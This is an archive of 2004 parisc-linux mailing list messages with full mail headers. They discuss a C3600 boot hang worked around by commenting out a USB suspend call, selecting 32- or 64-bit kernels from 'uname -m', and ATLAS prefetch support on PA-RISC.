List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21725

> Searching for devices...
> 
> ---------------------------------------------------------------------------
> 
> At this point the machine seems to hang. As mentioned above this is my first
> PARISC box. I'm not that familiar with the hppa architecture. Maybe it's
> just a silly thing I haven't noticed. So if anyone can give me a hint I
> would be glad...

This is actually a kernel problem; I also see this.... I talked to Grant
about this a bit, but we haven't reached a good conclusion. If you can
find a 2.6 based install, it should work.....

this is the bit that needs fixing, in arch/parisc/kernel/inventory.c...
with this it should boot.

-       pdc_suspend_usb();
+/*     pdc_suspend_usb(); */

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matej Martini" <calibrator@gmx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3600 install
Date: Sat, 12 Jun 2004 22:12:20 +0200 (MEST)
Lines: 43
Approved: news@gmane.org
Message-ID: <26521.1087071140@www66.gmx.net>
References: <20040612173138.GC19250@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623474 9943 80.91.229.3 (22 Nov 2014 02:31:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5476 invoked by uid 65534); 12 Jun 2004 20:13:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 12 Jun 2004 22:13:25 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5E3ED3BDF4; Sat, 12 Jun 2004 14:13:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28399-10; Sat, 12 Jun 2004 14:12:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3D4763BDED; Sat, 12 Jun 2004 14:12:27 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED2323BDD5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Jun 2004 14:12:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28399-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Jun 2004 14:12:23 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 4155F3BDCF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Jun 2004 14:12:22 -0600 (MDT)
Original-Received: (qmail 8297 invoked by uid 0); 12 Jun 2004 20:12:20 -0000
Original-Received: from 195.176.146.92 by www66.gmx.net with HTTP;
	Sat, 12 Jun 2004 22:12:20 +0200 (MEST)
X-Priority: 3 (Normal)
X-Authenticated: #23125586
X-Mailer: WWW-Mail 1.6 (Global Message Exchange)
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21726

> > Searching for devices...
> > 
> >
>
---------------------------------------------------------------------------
> > 
> > At this point the machine seems to hang. As mentioned above this is my
> first
> > PARISC box. I'm not that familiar with the hppa architecture. Maybe it's
> > just a silly thing I haven't noticed. So if anyone can give me a hint I
> > would be glad...
> 
> This is actually a kernel problem; I also see this.... I talked to Grant
> about this a bit, but we haven't reached a good conclusion. If you can
> find a 2.6 based install, it should work.....
> 
> this is the bit that needs fixing, in arch/parisc/kernel/inventory.c...
> with this it should boot.
> 
> -       pdc_suspend_usb();
> +/*     pdc_suspend_usb(); */
> 
> randolph
> -- 
> Randolph Chung
> Debian GNU/Linux Developer, hppa/ia64 ports
> http://www.tausq.org/
> 

Thanks for pointing me to the right direction :)

Matej Martini

-- 
+++ Jetzt WLAN-Router fr alle DSL-Einsteiger und Wechsler +++
GMX DSL-Powertarife zudem 3 Monate gratis* http://www.gmx.net/dsl

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3600 install
Date: Sun, 13 Jun 2004 14:19:53 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20040613201953.GA28264@colo.lackof.org>
References: <20040612173138.GC19250@tausq.org> <26521.1087071140@www66.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623475 9945 80.91.229.3 (22 Nov 2014 02:31:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matej Martini <calibrator@gmx.net>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17984 invoked by uid 65534); 13 Jun 2004 20:20:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx046) with SMTP; 13 Jun 2004 22:20:25 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 68BF73BDF2; Sun, 13 Jun 2004 14:20:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10813-10; Sun, 13 Jun 2004 14:20:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9F8753BDDD; Sun, 13 Jun 2004 14:19:59 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 428763BDD2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 14:19:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10813-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 14:19:56 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 162A33BDCF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 14:19:56 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 44D4A298091; Sun, 13 Jun 2004 14:19:55 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 28006-07; Sun, 13 Jun 2004 14:19:53 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C33EA29808F; Sun, 13 Jun 2004 14:19:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <26521.1087071140@www66.gmx.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21727

On Sat, Jun 12, 2004 at 10:12:20PM +0200, Matej Martini wrote:
> > This is actually a kernel problem; I also see this.... I talked to Grant
> > about this a bit, but we haven't reached a good conclusion. If you can
> > find a 2.6 based install, it should work.....

We need to shut down any devices the PDC has left in a state
where it might do DMA *Before* reprogramming the IOMMU.
Knowing which devices to shutdown this early and how to access
then is non-trivial.

> > 
> > this is the bit that needs fixing, in arch/parisc/kernel/inventory.c...
> > with this it should boot.
> > 
> > -       pdc_suspend_usb();
> > +/*     pdc_suspend_usb(); */

Yeah - this is a "trivial" fix for a difficult problem.
An alternative solution would be to disconnect all USB devices.
I'm hoping firmware doesn't enable DMA for USB ports if it doesn't find
anything.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Bug#254073: tc1 fail on hppa
Date: Sun, 13 Jun 2004 14:39:51 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20040613203951.GE28264__1364.23370936445$1416623475$gmane$org@colo.lackof.org>
References: <20040612193756.GA351@mcmartin.ca>
	<20040613122501.GH31518@riva.ucam.org>
	<20040613164147.GC351@mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623475 9948 80.91.229.3 (22 Nov 2014 02:31:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:15 +0000 (UTC)
Cc: 254073@bugs.debian.org,
 Colin Watson <cjwatson@debian.org>,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@debian.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6574 invoked by uid 65534); 13 Jun 2004 20:40:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 13 Jun 2004 22:40:15 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A98773BDDA; Sun, 13 Jun 2004 14:40:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11134-08; Sun, 13 Jun 2004 14:40:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id ADAB33BDDD; Sun, 13 Jun 2004 14:39:57 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2AFD83BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 14:39:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11134-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 14:39:54 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id D46BB3BDD2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 14:39:53 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 36DF029808F; Sun, 13 Jun 2004 14:39:53 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 28730-01; Sun, 13 Jun 2004 14:39:51 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C57B5298059; Sun, 13 Jun 2004 14:39:51 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040613164147.GC351@mcmartin.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21728

On Sun, Jun 13, 2004 at 12:41:47PM -0400, Kyle McMartin wrote:
> Hmm. It's a problem because the firmware of some machines will only
> boot 64-bit kernels, some will only boot 32-bit, and some will boot
> either.

correct.

> The best thing to do, would be to always install 32bit by default.

No. The best would be to look at "uname -m" output.
Install 32-bit if it's "parisc" and install 64-bit if it's "parisc64".

>  As
> when a person tries to boot on a machine that only has 64-bit firmware,
> they will have to manually edit the PALO commandline to use vmlinux64, which
> will result in them having a parisc64 uname -m entry. So I'd think 
> install based on the uname -m entry would work.

Correct, it will. As long as palo can select which kernel to boot
from the install media (CD, HD, network), a working kernel will
get booted/installed by default.

> I'm going to copy the parisc-linux list with this, for comments.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: atlas3 on hppa: unexpected reloc type
Date: Sun, 13 Jun 2004 15:33:58 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20040613223358.GJ19250@tausq.org>
References: <20040613162317.E51E44F24E@enterprise.cs.utk.edu>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623475 9953 80.91.229.3 (22 Nov 2014 02:31:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: R Clint Whaley <rwhaley@cs.utk.edu>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18715 invoked by uid 65534); 13 Jun 2004 22:34:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 14 Jun 2004 00:34:39 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1035A3BDDD; Sun, 13 Jun 2004 16:34:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11152-09; Sun, 13 Jun 2004 16:34:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BA3B83BDE2; Sun, 13 Jun 2004 16:34:01 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A1DB3BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 16:33:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11274-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 16:33:58 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 2376D3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 16:33:58 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A9D25CD29F; Sun, 13 Jun 2004 15:33:58 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040613162317.E51E44F24E@enterprise.cs.utk.edu>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21729

(cc'ed to the list)

> Thanks for the pointers.  From the document, I was able to add prefetch support
> for PA-RISC 2.0 to ATLAS's header file. 

Cool! Be aware that, if atlas relies on being able to prefetch invalid
addresses and have that not fault, then it will only work on some PA 
processors (mostly pa20) and not all of them.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3600 install
Date: Sun, 13 Jun 2004 15:52:32 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20040613225232.GK19250@tausq.org>
References: <20040612173138.GC19250@tausq.org> <26521.1087071140@www66.gmx.net>
	<20040613201953.GA28264@colo.lackof.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623476 9957 80.91.229.3 (22 Nov 2014 02:31:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12608 invoked by uid 65534); 13 Jun 2004 22:52:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx002) with SMTP; 14 Jun 2004 00:52:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id ADD363BDE2; Sun, 13 Jun 2004 16:52:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12280-01; Sun, 13 Jun 2004 16:52:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B96333BDEC; Sun, 13 Jun 2004 16:52:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75D613BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 16:52:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12090-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 16:52:30 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 6514A3BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 16:52:30 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 3B9F8CD2CD; Sun, 13 Jun 2004 15:52:32 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040613201953.GA28264@colo.lackof.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21730

> An alternative solution would be to disconnect all USB devices.
> I'm hoping firmware doesn't enable DMA for USB ports if it doesn't find
> anything.

nope, doesn't work -- i have nothing connected to the USB ports on my
c3750.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: atlas3 on hppa: unexpected reloc type
Date: Sun, 13 Jun 2004 22:32:04 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200406140232.i5E2W5Bg003075@hiauly1.hia.nrc.ca>
References: <20040613223358.GJ19250@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623476 9962 80.91.229.3 (22 Nov 2014 02:31:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:16 +0000 (UTC)
